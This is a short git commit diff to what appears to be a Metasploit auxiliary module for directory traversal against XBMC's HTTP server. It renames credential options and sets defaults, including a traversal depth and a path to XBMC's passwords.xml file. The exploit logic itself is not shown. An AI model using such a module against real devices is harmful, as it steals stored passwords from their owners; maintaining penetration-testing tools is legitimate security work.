Code Review Feedback

Modified USER and PASS to USERNAME and PASSWORD
Moved the Scanner mixin to the bottom and removed deregister
bug/bundler_fix
Matt Andreko 2013-02-21 16:55:27 -05:00
parent 4784db3403
commit b4f002d080
1 changed files with 3 additions and 5 deletions

View File

@ -9,9 +9,9 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
@ -41,11 +41,9 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(8080),
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']),
OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']),
OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']),
OptString.new('PASSWORD', [true, 'The password to use for the HTTP server', 'xbmc']),
], self.class)
deregister_options('RHOST')
end
def run_host(ip)